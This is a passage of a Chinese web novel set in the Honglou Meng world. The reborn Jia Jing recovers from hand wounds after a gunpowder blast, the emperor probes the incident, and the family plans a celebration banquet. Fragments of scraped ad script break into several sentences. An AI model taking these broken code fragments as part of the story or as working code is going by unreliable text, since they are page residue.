他说的平淡,萧淮川却已经想到了这里面的凶险,手紧紧攥着手中的布巾。 这群人,该死。 “至于爆炸……”贾敬观察着萧淮川的神情,“你知道的,我平日里对这些石矿很是感兴趣,我挖那砂金金珠的时候,还顺带挖了些别的……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我就试了试,没想到,还真的把那些人全部诈死了。”说着说着还带着些得意。 萧淮川却深呼吸一口气,听贾敬这话,也就是他瞎猫碰上死耗子了,侥幸引爆了,若是失败或者出了其他意外…… 贾敬还想说什么,对上萧淮川瞥来的目光,顿住了。 萧淮川平日里多数是温润平和,可若是真这么觉得,那也是真的轻看了这位储君。 贾敬自小跟着萧淮川身后,自然了解萧淮川,知道自己若是再乱动,萧淮川便真的要生气了。 他便只能依着萧淮川,先是拿布巾擦拭了嘴角,又就着萧淮川的手喝了水,最后萧淮川为他的嘴角上了药。 当那温热的指腹沾着白玉膏触碰到贾敬的嘴角时,只有贾敬自己知道,他是怎么忍着没让自己避开,也只有他自己知道,发热的耳根,不断翕动的睫羽,以及心底的渴望和抑制。 萧淮川随意捡过一旁的布巾,擦拭手上的药膏。 “我的手……” 贾敬垂眸,轻轻问了句,可刚开口又没了声。 萧淮川手上动作一顿,紧接着将手擦干净,将布巾朝铜盆里一扔,抬眼,面色如常, “没什么大事,好好养着。” 此中凶险,还是不对阿元言明了,他自认为自己方才的神情语气如常,阿元应当不会察觉。 19. 第 19 章 贾敬感受着掌心传来的钻心痛感,深知自己的伤势绝不像萧淮川说的那么轻松,况且这是贾敬自己伤的手,到底什么情况,什么力度,他心里清楚。 但萧淮川的特意隐瞒,贾敬也不愿意拆穿,便顺着萧淮川的话点头,假装自己不知晓。 御医开的止疼汤药煮好后,太监忍冬端了进来。 萧淮川见贾敬那双手,伸手直接接过忍冬手里的汤药,吹了吹,喂给了贾敬。 酸苦中掺杂着腥气的药味遍布口中,贾敬的眉头仅仅在汤药入口时微微蹙起,随后面不改色的一口气闷了这碗药。 待忍冬拿着空碗下去,贾敬才发觉,萧淮川盯着自己的眼神有些怪异,问道: “怎么这样看着我?” 萧淮川目光幽深地望着贾敬,刚才为他吹汤药时,他凑近药碗,难掩的苦腥味扑面而来,闻着就苦。 “你不是最怕喝药的吗?” 平日里就算是染了风寒,贾敬吃个药也是千难万难,各种躲闪。今日却格外不对劲,他面对这般苦腥之药,却没有丝毫抗拒。 贾敬微微一滞,紧抿的唇还能感受到方才的苦意。 他曾经确实是极为怕苦的,可后来,遇见的种种,都已经苦进心里了,汤药他也不觉得苦了。 甚至后来,他入了玄真观后,整日里研究的那些丹药,也都是苦涩异常。 在那段日子里,他早已经习惯了苦。 所以,如今面对这碗汤药,他也不再似曾经年少时那样皱眉躲避,即便他现在外表一如当年,可内里的这抹魂也早已经不是了。 贾敬敛眉,长而浓密的睫羽垂下,遮住了眼眸里复杂的情绪,故作轻松道: “我都已经及冠,是个大人了,若是再怕苦,恐怕要惹殿下笑话了。” 萧淮川对于贾敬的这番话不置可否,他的关注点落在了后半句,只见他微微挑眉,问道: “先前不还唤淮哥,怎么现在又称呼殿下了?” 这个生疏的称呼,萧淮川不喜欢,先前不喊得好好的吗? 贾敬一听,还准备用自己大了,以前不懂事为由,萧淮川像是猜到贾敬会说什么,立刻抢了话头, “你也不必用大了这种话来搪塞孤,到底是跟孤生分了。” 萧淮川连“孤”都称上了,他在贾敬面前可从来不这么自称。 贾敬抬眸瞧了萧淮川,一眼便看出来他没生气。 没生气,就是这说出的话,听着怎么那么不对劲呢?贾敬不禁扯了扯嘴角,嘴上顺着哄了句, “是阿元错了。” 萧淮川颔首,“嗯,以后照旧便可。” 汤药渐渐奇效,贾敬的眼皮也来越粘黏,最终沉沉睡去,萧淮川在贾敬熟睡后,起身将那枚砂金金珠放在锦盒内,换了身干净衣服,才出了东宫,向天丰帝的御书房走去。 贾敷随着萧淮川和贾敬一起进宫,本想着跟去东宫照看贾敬,半路上就被天丰帝身边的太监请了去,萧淮川到御书房时,贾敷已经向天丰帝汇报他“所知道”的一切,旁边还有陆大人在一旁补充守备军发现的蛛丝马迹。 “你方才说,那帮山匪在西骨山的山顶被火药全部炸死了?还是贾培元所为?” 天丰帝微眯着眼睛问向陆大人,陆大人连忙说是。天丰帝又瞥向一旁的贾敷,眼眸里带着些深究,问道: “如开,培元还有这样的本领,能制造火药?” 贾敷一脸为难,苦恼的挠了挠脑袋,“陛下,臣也不知啊。” 虽然贾敷也不知道贾敬会使用这样一个方法,可他也知道,自己不能在天丰帝面前承认贾敬真的会制作火药这件事。 如今大乾朝也有些火器,也有使用火器的神机营,可这些都是独属于圣上,只听天丰帝调遣。 天丰帝眼里闪过一丝狐疑,刚想要接着问贾敷时,陈林来到他身边通报,说萧淮川来了。 萧淮川缓步走近,行礼,站定。 “太子,培元伤势如何?” 天丰帝先是关心了一下贾敬的伤势。 萧淮川早已经想好了如何应对,他将贾敬的受伤说的更加严重了一些。 一旁的贾敷听得心中发凉,先前帮贾敬包扎手时,他大概查看过,虽看起来严重可怖,但没什么大碍,难道在他不知道时候,贾敬的手又受伤了? 贾敷也没掩饰自己的害怕和担忧,他只是一个关心弟弟的兄长罢了。 “殿下,阿元的手,可还能恢复?那双手于阿元而言多重要,他才将将及冠……” 贾敷急得都快要去拉萧淮川的袖子了,天丰帝旁边站着的陈林陈总管见状,轻咳一声,提醒贾敷在圣上面前,注意形象。 天丰帝将这一切都尽收眼底,“如开啊,你放心,朕一定会派最好的御医去医治培元。” “太子。”天丰帝忽然喊了萧淮川一声,“朕听闻,那些山匪被炸死,是培元所为,倒是厉害。” “这不仅救了他自己,还顺带剿灭了山匪,说起来,他还立了功。” 天丰帝这样说,无人接话,他接着看似随意道:“太子和培元走得近,可知道他会制造火药?” 萧淮川面色难看,“父皇,火药岂是那么容易就被他制出来?他这次不过是瞎猫撞上死耗子,捡了条命而已。” “就算是这样,看看他那手,他如今全头全尾的站在这儿,已经是贾老将军在天之灵护佑了。” 天丰帝也认为火药不是那么容易就被制出来,又听萧淮川提及贾代化,面色微动, “唉,是啊,是代化在天有灵了。” “既如此,好好养伤吧。” 至于旁的什么立功,倒没再提了。 贾敷一出御书房,也不顾尊卑礼仪,直接凑到萧淮川身边,急忙问道:“阿元的手……” “敷大哥放心,方才父皇也说了,允许最好的御医为阿元诊治,让他安心休养。” 萧淮川没说贾敬的手到底会如何,而是将天丰帝方才的允诺向贾敷重复了一遍,贾敷打量了一下萧淮川的面色,见他眉眼舒展,像是猜到了什么,立刻道: “皇恩浩荡,臣相信臣弟的手定会好转。” 阿元的手应该没什么事。 萧淮川见贾敷跟着自己,眼里闪过疑惑,“敷大哥跟着孤做什么?” 贾敷扯了扯嘴角,这位太子殿下是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真不知道,还是跟自己装呢? “阿元还在东宫,臣接阿元回家。” 萧淮川脚步一顿,神情一怔,一时没有说话。 贾敷暗自挑眉,这位太子殿下,不会是想让他家阿元在东宫养伤吧? 以前贾敬是经常留宿东宫,可那是之前。现在贾敷知道了他们府的处境,哪里敢让贾敬住在宫里? 萧淮川此时已经恢复了先前的模样,清了清嗓音,“阿元时常在东宫留宿,御医来为他诊治也是方便,便让阿元在孤的住处养伤吧。” 贾敷哪里肯? 他对萧淮川一笑,弯腰一拜,“臣在此谢过殿下的好意,让臣弟在东宫诊治。” “可到底是储君住所,于礼不合,臣弟的伤势也不是一天两天能好的,还是回家静养为好。” 在贾敷眼中,现在的东宫宛如一个狼窝,旁边群狼环伺,迟一步贾敬就要被害了。 贾敷本以为还要和萧淮川再周旋一番,连接下来的说辞都想好了,谁知萧淮川却没再说话了。 萧淮川是不打算和贾敷说了,他等会儿来询问阿元的意愿,阿元多半会留下的。 “淮哥,我随哥哥家去吧。” 萧淮川有些傻眼,阿元因为贾代化的关系,不是很喜欢待在公府,这才是他方才想法的底气。 可…… “阿元,有空我就会看你。” 贾敬笑了笑,“好。” 萧淮川没想明白,贾敬也不想和他解释,最后萧淮川只能将贾敬送到宫门口,目视着载着贾敬的马车朝宁国府走去。 · 马车上,憋了一路终于出了宫门的贾敷终于开了口,“阿元,你的手到底是什么情况?西骨山上的爆炸又是怎么一回事?你怎么还会制火药了?” 按照他们的计划,不是说一把火把尸体烧了吗?怎么还玩起了火药? 贾敬现在编谎话已经可以脸不红心不跳,“我哪里会制火药,不过是巧合罢了,火刚点上,也不知道是碰见了什么,忽然就炸了,我自己都不明白。” 他一副自己都没想明白的模样。 “真的?”贾敷半信半疑,他总觉得这里面有猫腻。 “火药哪里是那么好制的?” 贾敷又盯着贾敬看了一会儿,随后目光落在贾敬掉在胸前的手上,问道:“手到底如何?” 他显然误会了萧淮川先前的意思,真以为贾敬的手没什么事,只是萧淮川夸大了伤势。 贾敬轻松一笑,“没什么事,好好养着。” 贾敷:“嗯,那这段时间好好在家养着,哪也不准去,我让你嫂子在家看着你。” “唔,我们府这些时日也闭门谢客。” “那可不行。”贾敬出声。 贾敷诧异地望着贾敬,“你想做什么?” “哥不是说要给我开庆祝宴吗?请四王八公都来热闹一下。” 贾敷闻言瞪大眼睛,指着贾敬的手,“你这样还要开庆祝宴?” “当然。”贾敬下巴轻抬,“哥,圣上还没宣布我的功劳,给我授官呢。” “也是时候把咱们这些老亲拉出来,为我增增势了。” 20. 第 20 章 贾敷转了转大拇指上的白玉扳指,“你认真的?” “圣上都已经开始忌惮我们这群四王八公,你还要拉他们来聚会?让他们给你造势?” 贾敬轻轻一笑,“他忌惮我们是不假,恨不得把四王八公这帮子勋贵都连根拔了,可他真的有那样的能耐,真的想做什么就做什么?” “他现在还要依仗这些人。” 无论是他堂叔贾代善,还是其余几家,如今都还有不少人在朝堂上,都还是肱股之臣,只是下一辈的前途,让人烦忧。 贾敬那些可以唤叔伯的长辈们,在家是要连美髯都给揪掉了,也没想好给自家子孙找好出路。 他们多数是军功起家,也知道军营的艰难和凶险。如今大乾朝面上稳定,可与北边的游牧夷狄也是水火不容。 每年冬日,当北方苦寒之时,缺粮缺衣,夷狄就会南下侵扰与其接壤的城池。 若是真的走从军之路,少不得去北边城池镇守,九死一生,并不是玩笑。 而他们当年搏命博得现在这样的功勋,不就是为了封妻荫子,让后代子孙锦衣玉食吗? 因此,这条路,多是不愿意家中子弟走的。 而剩下的,要么是靠圣上给个恩典,直接赐个小官,要么便靠读书,走科举。 然而,读书这样的事情,也不是那么容易的,这些年里,也就贾敬考中了进士。 “我相信,这个庆祝宴,叔伯们定是愿意来的。”贾敬低眸看着自己吊着的手,“顺便跟叔伯们说说,我这次的伤。” “这些事就有劳哥了,我毕竟是伤患,需要静养,不宜多累。”贾敬眨了眨眼睛,脸上带着无辜。 贾敷自然不怕受累,他本身就打算大办特办庆祝宴的,去庄子上,也是为了庆祝宴,可万万没想到,会遇见这样的变故。 “那就好好的办,这事儿回去我去西府一趟,和堂叔吱个声。” 贾敬点头,“是要说的。” 外人眼里,贾代善才是如今宁荣二府的话事人,最有面儿的一位,四王八公也没人敢不给他面子。 “大爷,二爷,咱们到府上了。” 外面小厮唤了一声。 贾敷率先下车,刚撩开帘子,便听见自家夫人含着担忧的声音,“如开,你回来了。” 在贾敷他们马车刚进宁荣街时,便就有人去府里告知如今宁国府的当家主母,贾敷的妻子,史云棠。 贾敷下了马车,刚准备牵起史云棠的手,却没想到被史云棠一推,猝不及防,差点被推了个趔趄。 他诧异地望着史云棠,只见史云棠一个上前,来到马车边上,颤抖的声音里掺杂着焦急, “阿元,快让嫂子看看。” 她一清早就听说贾敬被流寇山匪掳走,心一直悬着,恨不得自己都跟着出城。 贾敬早已经从方才听到嫂子的声音发呆中回过神来,又听史云棠如此关心的声音,他的那颗心不由得一阵灼热和酸楚。 他自幼没有母亲,与兄长从小定亲的史云棠就是他接触最多的女人,也是对他最好的女人,史云棠虽不比贾敬大几岁,可当真做到了长嫂如母,对他无微不至。 可上辈子,史云棠面对贾敷的“意外”逝世,备受打击,整个人仿佛是迅速枯萎的花朵。 明明才二十几岁,整个人却如槁木一般,心如死灰,没撑住几年便也跟着去了,丢下了父母双亡的贾珍。 贾敬自然扛起了抚养侄儿贾珍的责任,然而那时候的他,也面临着兄嫂离世,与爱人阴阳相隔,仕途上郁郁不得志,更是为了消除新帝的怀疑,弃家去了道观,沉迷炼丹。 他未能在侄儿成长的关键时刻给予足够的庇护与教导,才导致了后来一系列悲剧的发生。 他没能教导好贾珍,他愧对嫂子…… 贾敬的呼吸越来越粗重,急喘着气,眼前甚至有些花,出现了重影。 “阿元,你哪里不舒服啊?” 史云棠掀开帘子就对上贾敬痛苦的面容,满脸渗着汗。 她的声音宛如钩子一般,钩回了贾敬迷离的神思,眼前的重影慢慢聚拢,是史云棠关切担忧的脸,红着的眼眶。 贾敬定了定心神,这一世,他一定不会让嫂子变成上一世那样。 “呀,这手是怎么了?” 史云棠立刻看见了贾敬被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吊着、包成粽子一般的手。 贾敬努力挤出一抹微笑,轻声道:“嫂子,我没事,只是一点小伤而已。” 然而,话音未落,贾敬便看到了史云棠眼眶里涌出的泪水。 贾敬瞬间慌了神,手足无措,“嫂子,你别哭啊,我真的没事……” “哥!” 贾敬又朝外喊了一声。 贾敷见自己夫人掉了泪,也连忙哄着,“诶呦,真的没事,那个伤好好养着就行。” 史云棠拿帕子擦了擦泪,稍稍睨了贾敷一眼,“阿元能跟你这种糙汉比?” “咱们阿元可是握笔写字的手!” “快别在门口了,赶紧进屋去,阿元的院子,我都安排好了,快进去躺着!” 史云棠方才是落了泪,可安排起事情来,尽显当家主母的风范。 贾敬这边刚准备下车,又听史云棠道: “罢了罢了,直接将马车驶进去,到二爷院子里。” 贾敬忍不住扯了下嘴角,他是手伤了,不是腿瘸了。 “嫂子,这不合规矩……” 马车直接驶进内院,也太不像话了。 史云棠一振袖子,“规矩?我说什么是规矩,那才是规矩!我说可以,那便可以!” 贾敬沉默,这话也不是吹牛,如今他们宁国府当家人就是贾敷,而贾敷对自家夫人也是唯命是从。 就这样,贾敬到了自己住的院子,才下了马车。 刚下马车,就见自己屋里伺候的丫头小厮,全都泪眼汪汪望着自己,贾敬只觉得一阵头疼。 一屋子哭包啊,要命。 “好了好了,爷好着呢!” 贾敬拒绝搀扶,自己下了马车,他真的没瘸。 “二爷。” 贾敬屋里的大丫鬟素雪还算稳重,虽也红了眼,但到底没掉含泪。 史云棠刚准备安排什么,只见一个小厮匆匆忙忙跑了进来。 她秀眉未蹙,“何事慌慌张张!” “大奶奶,西府国公爷来了,已经到正堂了。” 贾敷与贾敬对视一眼,巧了,还准备上门呢,这位堂叔就来了。 21. 第 21 章 贾敬准备跟着贾敷一起前去,却被贾敷一把拦住。 “诶?你跟着作甚?回去躺着。” 贾敬张了张嘴,“哥,我跟你一起去……” “你就回去歇着吧。”贾敷伸手挡住了贾敬。 贾敬有些不放心,还想要说什么,贾敷摆摆手,“你先前与我说的,我都记得,你放心吧。” 贾敬想了想,其实这次与堂叔贾代善交谈,并没有什么重要的事情。 毕竟像天丰帝忌惮自家这种话,也就他哥会毫不犹豫的相信他。 至于荣国公贾代善,作为现在天丰帝的左膀右臂,深受天丰帝恩泽,即便贾敬说的是事实,贾代善又真的会信吗?信了就真的会替他们着想吗? 他们到底是两个府上的。 宁国府的局面想要扭转,还是得靠他和兄长自己努力。 不过,他们与荣国府的关系,倒也不需要分的那么开,打断骨头还连着筋呢,终归是一族。 最起码在外人眼里,他们是一家,同气连枝,一荣俱荣,一损俱损。 贾敬先前已然和兄长将话说的明白,他相信兄长会处理好这件事,便放下心来进了自己的院落。 当贾敬躺在自己床上,眼眸愣愣地望着熟悉又陌生的青色帘帐,神情恍惚。 是梦吗? 他真的改变了上辈子的轨迹,将兄长救了下来? 平稳放在胸前的手不断传来疼痛,贾敬却忽然笑了,桃花眼弯弯。疼痛提醒着贾敬,这一切都是真实的。 · 贾敷携着史云棠一路到了前厅,刚进去就看见一脸正气端坐在客位的贾代善。 “二叔。” 见贾代善要站起身,贾敷连忙上前,“您坐您坐。” 贾敷也不坐主位,就坐在了贾代善手边的位置,史云棠吩咐人上了茶后,便退下,回了内院。 贾敷抬手,向身边的小厮松儿使了个眼色,松儿立刻明白意思,转身去厅门口守着了,厅内仅剩下贾代善和贾敷两人。 贾代善目光朝外看了一眼,对贾敬关心的话随即而出,“我听闻敬哥儿回来了,还受了伤?” “身子如何,伤的可严重?” 说着,贾代善又准备站起身,大有一副要去看望贾敬的模样。 贾敷连忙道:“谢二叔关心,阿元已经回来了。” “手受了点伤,眼下在院子里歇着呢,这会子可能都睡过去了。” 贾代善一听贾敬的手受了伤,脸色变了变,“手受了伤?伤了哪只手,可严重?” 贾敷:“两只手都伤了。” 贾代善要坐不住了,这还得了,他家刚出了个进士,怎么能伤了手? 贾敷见状又连忙补充,“二叔莫急,宫里御医也说了,好好养着。” 他既没有说伤的不严重,也没有用萧淮川在天丰帝面前那副严重的说辞,只是说御医交代,好好养着。 “圣上还给了恩典,让御医负责阿元的手伤。” 贾代善听了这话,才放下心来,面色依旧不好看,他鹰隼般的眼睛紧紧盯着贾敷,沉声问道: “到底发生了什么事情?” 对这位争气的侄儿,贾代善是真的喜欢。贾代善亦有两个儿子,大儿子贾赦,今年十七岁,从小便招猫逗狗,斗鸡遛鸟,京城里出了名的小纨绔,好吃懒做,游手好闲。 不过,铁板钉钉的世袭爵位,还需要他努力做什么? 而贾代善的小儿子贾政如今十四岁,倒是好学的,却年纪轻轻便是个小古板,如今在族学进学,未来也是想要走科考之路。 这也是贾代善看重贾敬的原因。 贾敷的说辞是越说越顺溜,他在天丰帝面前是怎么说的,在贾代善面前就是怎么说的。 贾代善听完,眯起了眼睛,一时没有说话,像是在思考什么。 贾敷端起一旁的茶杯,抿了一口,润润嗓子,可杯子还没放下,就听贾代善冷不丁来了句, “这事不对。” 贾敷一愣,“什么不对?” 贾代善一字一顿道:“那些人不对。” 贾敷对上贾代善的目光,心下一跳,“怎么不对?” “他们不就是见钱眼开的流寇山匪吗?” 贾代善却摇了摇头,“不,没有那么简单。” “若是真的流寇山匪,那么他们不应该劫持敬哥儿。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 贾敷听闻贾代善的话,忍不住眼皮跳了跳,“那些流寇山匪是蹲守温泉庄子,知道庄子的主人富贵,才劫持了阿元。” “这个理由乍一听没有问题,但细细分析,就会发现,有漏洞。”贾代善语气肯定。 贾代善瞥了贾敷一眼,“你没有带兵剿过匪,你不清楚。” “这些人曾经也不是流寇山匪,他们多数是各地方的农民,是因为天灾以及些人祸,没有了生计,这才落草为寇。” “他们抢掠东西,也只是为了活命。” “所以,他们劫掠的目标一般会是距离城郊很远的山村,去抢那些手无寸铁且没权没势的百姓。” 贾敷咽了咽口水,“财帛动人心,他们见财起意呢?” 贾代善却直接否认,“通过你方才所说,他们人数并不多,没有形成气候,他们没有依仗,靠的就是一身蛮力,倘若是抢劫了偏远山村的百姓,碰见不仁义的父母官,可能都不会去追究。” “可若是敢招惹达官显贵,那么……” “这些人绝对不是山匪!他们别有目的!” “那依二叔看,他们是何目的?” 贾敷搓着手,想要消散因紧张而起汗的手。贾代善看出来的问题,不知道天丰帝是否会发现? “他们的目的,就是敬哥儿!”贾代善声音夹杂着怒气。 “啊?”贾敷万万没想到自家二叔会这么说,“目、目的是阿元?” “啪!”贾代善猛地一拍桌子,“敬哥儿考中进士,定是碍了某些人的眼!竟然相处这等狠毒的计谋,想要废掉他的手!” 读书人的手多么重要? 在贾代善看来,这背后之人其心可诛,极为歹毒,更是恨极了他们贾家。 贾敷:…… 沉默,倒是没想到会是这样一个发展。 贾代善若是这么想,也不是不可以。 树立一个有人想要害贾敬的靶子,也挺好,倒是省的贾敷添油加醋引导了。 “二叔英明。” 贾敷立刻恭维着贾代善,被贾代善瞥了一眼。 贾敷:…… 那眼神是嫌弃吧?绝对是! 22. 第 22 章 贾代善伸手拍了拍贾敷的肩膀,“你还年轻,慢慢来吧。” “放心,化大哥虽然不在了,但二叔还在呢,定不会叫人将你和敬哥儿欺负了去。” 他说着,面容一肃,郑重的望着贾敷, “话虽如此,但你既然已经成家立业,娶妻生子,就连敬儿也考中了进士,这宁国府的门楣你还是要顶起来,万不可像以前那样散漫了。” “今日的事情,你也看到了。” 贾敷听闻这话,心里都要乐开了花。他本想着还要找什么理由让自己之后的转变合理,倒是没想到贾代善居然说出了这么一番话。 对上贾代善严厉里透露着关心的眼神,贾敷心底也不禁一暖。 二叔是真的希望他好,希望宁国府好。 “二叔放心,您今日说的话和道理,侄儿都省得。” 贾敷恭敬地朝贾代善行了一礼,心甘情愿。 贾代善目光落在贾敷拇指上的那枚白玉扳指,怔了怔,随即开怀大笑, “哈哈哈哈哈。” “好啊,看来你也早已经想明白了。” “话说,那般山匪真的是敬哥儿拿火药炸死的?”贾代善的眼里明显带着不信。 “还真是。”贾敷点头,“只是真的是凑巧罢了。” 贾代善咧嘴一笑,“咱家敬哥儿是吉人自有天相,平凡伤害不得,这歹人想要害他,却没想到被他一句歼灭,要论,还立了一个‘剿匪’的功劳呢。” 说到这里,贾代善像是想起什么,问贾敷,“圣上对此有说什么?” 贾敷便将天丰帝与萧淮川的对话一并告诉了贾代善,本想听听贾代善会说什么,谁知,贾代善竟然什么都没说。 贾敷的眼底闪过一丝暗光,稍纵即逝。 他笑着开口,“二叔,原本府里便向在阿元琼林宴后,举办一场庆祝宴,请各位老亲们前来一聚,大家也乐呵乐呵。” 贾敷边说边斟酌着,询问贾代善,“侄儿想着,虽然此次阿元受此一难,可到底是祖宗保佑,没什么大碍,那这庆祝宴便还是如期进行吧?” “好啊。”贾代善没有丝毫犹豫,便表示了同意,“喜事一桩,刚好去去晦气。” 贾敷瞬间展颜,“那侄儿便如期举办了。” “如此甚好!” “二叔,我们府上什么情况,您也清楚,”贾敷有些局促的挠了挠脑袋,“云棠到底年轻,府里也许久未做过大事了,这经验尚浅,可否请二婶子……” 贾敷的话还未说完,贾代善便大手一挥,“这算什么事,有事尽管去问你二婶子。” “云棠那丫头和你二婶子是亲姑侄,怎么嫁给你还生分了?”贾代善睨了贾敷一眼。 贾敷讪讪一笑,接着厚脸皮开口,“二叔,那咱们家那些老亲,要不您也……” 贾代善似笑非笑地望着贾敷,“老夫方才还觉得你小子憨,原来是走了眼,你比猴精啊。” “竟然都指挥老夫干事了。” 贾敷连忙赔笑,“二叔哪里的话,实在是侄儿年轻,没您面子好使啊。” 这话哄得贾代善很是高兴,可他嘴上还是叮嘱道:“你虽年轻,可到底是咱们这一族的族长,若是谁不卖你的面子,那便是看不起我们贾家!” 贾敷一路送贾代善出了门,本想回自己的院子找史云棠,可走着走着,脚步一拐,又拐到了贾敬的院子里。 贾敬跟前的大丫鬟素雪正指使着一群小丫头们干活,贾敷一进来,素雪连忙福身,“大爷。” 贾敷颔首,“二爷歇着了?” 素雪刚准备点头,便听屋内传来贾敬的声音,“是大哥吗?我没睡。” 贾敷便迈步进去,一进屋,就看见贾敬斜靠在床上,懒洋洋的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半眯着眼,显得很是惬意。 “二叔走了?” 贾敷坐到床边的椅子上,撩了下袍子,半翘着二郎腿,“是啊。” 随后贾敷便将他和贾代善的话告诉了贾敬,贾敬也是意外,没想到贾代善会这么想,倒是误打误撞,巧了。 “四王八公各位老亲,以及族中各房,都会下帖子,你那边还有什么人需要请的?”贾敷询问着贾敬。 贾敬缓缓抬眸,勾起唇,“哥不问,我还真的忘了。” “确实有需要请的。” “哥还记得我与你说的那位同年,宋子虚吗?” 贾敷想了想,随后点头,“记得,琼林宴那位,你要请他?” “嗯。”贾敬点点头,又补充道,“还有几位,薛阁老的孙子薛琼亦是我的同年,他也请上吧。” 贾敷摸了摸下巴,“既如此,你同届的同年我都让人去发请帖。” 不过就百十来号人,他们宁国府还怕请不起吗? 贾敬一听,桃花眼微微凝起,倒是没拒绝,只是提醒了句,“哥,你弟弟我人缘可不好,多是看我不顺眼的,觉得我是个锦绣草包。” 贾敷扯了扯嘴角,轻哼一声,“是咯,那就让这帮没见识的人看看,咱家的锦绣堆到底是什么样的。” 要贾敷说,这帮自诩清流的文人当真虚伪。嘴上喊着大义,可哪个不是为名为利?他们的努力哪个又不是为了子孙后代? 多的是贪官污吏,敛财屯田的手段亦是层出不穷。 贾敷对此嗤之以鼻,假清高。 “走了。”贾敷摆手,转身就准备走。 贾敬脸上闪过一丝纠结,可最终还是喊住了贾敷, “对了,哥,再帮我邀请位人。” 贾敷疑惑转头,“何人?” 贾敬抿了抿唇,微垂着眼眸,“太子殿下。” 23. 第 23 章 贾敷一愣,“你想请太子殿下来?” 贾敬垂眸,“倘若不便,就算了……” 语气平静,没什么特别的情绪,但贾敷却不忍拒绝。 “也不是不方便。” 贾敷思忖片刻,沉吟道:“只是像咱们家这种聚会,一般也只是请一些老亲,鲜少邀请皇子皇孙们,怕其余人不自在,也免了一些不必要的麻烦。” 但贾敷也知道,自家弟弟向来与萧淮川私交甚笃,感情深,这次更是亲自开口,他又怎么能不满足。 “不过阿元既然想要邀请殿下来,那为兄便去请。” 贾敬抬头望着贾敷,弯了弯眉眼,“谢谢哥。” 贾敷叮嘱了贾敬好好养伤,便转身离去准备宴会邀请事宜,看看怎么安排这次宴会,以确保一切顺利。 · 贾代善这边一回府,就有小丫鬟来请,“老爷,太太请您过去用饭。” 贾代善本也想去找自家夫人说下东府的事情,便迈步朝史氏的荣庆堂走去。 进了荣庆堂,小丫鬟打帘,贾代善稍稍弯腰进门,饭菜已经布置完毕,进去就是扑面而来的香气。 “老爷来了。” 说话的正是贾代善的发妻,如今荣国公府的当家主母,一品诰命国公夫人史氏,也是史云棠的亲姑母。 “敬哥儿可是回来了,怎么样了?” 贾代善就将贾敷说的话告诉了史氏,史氏双手合十,嘴里念叨, “还真是祖宗保佑,祖宗保佑啊。” “当真是凶险,幸好敬哥儿是大福之人呐。” 贾代善点头,“所以先前说的庆祝宴照旧,棠丫头到底年轻,你到时候多帮衬着些,多过府去瞧瞧。” “晓得晓得。”史氏点头,“棠丫头既是我亲侄女儿,也是我侄媳妇,我还能让她为难了去?” 史氏像是想起什么,拿过一个小册子,坐在榻上翻着,贾代善瞥了眼,以为是账本册子,便也没再看。 旁边小丫鬟端上铜盆手巾,贾代善净了净手,抬头四处看了眼,随意问道: “赦哥儿和政哥儿还未回来?” 史氏头未抬,依旧看着册子,笑道:“政哥儿刚下学,我让他回屋换衣服,洗漱一番,好了便过来用饭。” “他还说,今日先生夸了他的字,要给你看哩。” 贾代善颇感兴趣的挑了挑眉,“不错。” 紧接着贾代善蹙了蹙眉,又问:“赦哥儿呢?没和政哥儿一起下学回来?” 史氏闻言,翻着册子的手一顿,下一瞬,翻过下一页,随口答道:“没呢,许是在什么地方玩着吧。” “啪!” 贾代善面色铁青,猛地一拍桌子,吓得旁边小丫鬟们都脸色煞白,就连史氏也是被吓了一跳,手上的册子落了地。 “胡闹!简直无法无天了!” “老子看他就在外面野着,别回来了!” “诶呦,老爷,赦哥儿天性如此,何必如此动怒?” 史氏递给了贾代善一杯茶,让他降降火。 贾代善一口饮尽,杯子一放,目光又瞥见地上那册子,扫过内容时目光顿住。 “理国公二女,年十六……” 贾代善捡起册子翻了翻,哪里是账本,分明是京城各世家小姐相看的册子,他诧异地望了史氏一眼, “这是给谁相看?” 难道是贾赦那混小子? 史氏一把拿过册子,“还能是谁?当然是咱们敬哥儿了。” “敬哥儿及冠之年便考中进士,已经有多家夫人来向我打听了。” 贾代善恍然,是了,贾敬还未定亲。 但见自家夫人兴致勃勃地翻册子,贾代善眉头微动,“他的婚事,自然有敷哥儿和棠丫头操持,你还是少插手。” 就算他们是长辈,也是搁着府的,太过界,不合适。 史氏神情微变,眼眸闪过一抹精光,稍纵即逝。 “我知道,这不是先挑挑,到时候给棠丫头看嘛,怕她看花了眼。”史氏收了册子,乜了贾代善一眼。 “这庆祝宴,多是为了咱们敬哥儿婚事来的。” “政二爷来了。” 外面婆子通报了一声,只见门外进来一个身量瘦削的少年,年纪轻轻便板着一张脸,朝贾代善史氏毕恭毕敬行了个礼, “父亲母亲,安好。” 正是贾代善的小儿子,贾政,小古板一个。 史氏却极为喜欢这个儿子,连忙招手,“政哥儿,来,不是说要给你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 父亲看看你今日的字吗?” 贾政偷偷瞟了眼旁边都贾代善,紧张地抿了抿唇。 贾代善伸手,“拿来为父瞧瞧。” 贾政还未说话,身后的小厮已经极为机灵地递上手中拿着的卷轴。 贾代善看着字,他虽是武将出身,但也不是不通一点文墨,也上过几年学,知道好赖。 “确实有进步。”贾代善点头认可。 贾政脸依旧绷着,可耳根却微微发了红,他咽了咽口水,双拳紧握, “不及敬二哥哥的字。” 贾代善掠了一眼自己的儿子,“你敬二哥哥的字,可是全京城闻名,想胜过他,还有得练了。” 贾政一听,唇抿得更紧了,眼神低垂,显得有些失落。 一旁的史氏张了张嘴,想要说什么,可还没说,忽然, “哈哈哈哈哈哈。” 贾代善大声笑了起来,拍了拍贾政略显薄的肩膀,“好小子,有志气。” 贾政一愣,像是不可置信,随后嘴角压不住的勾起,藏不住的欣喜雀跃,“是!” 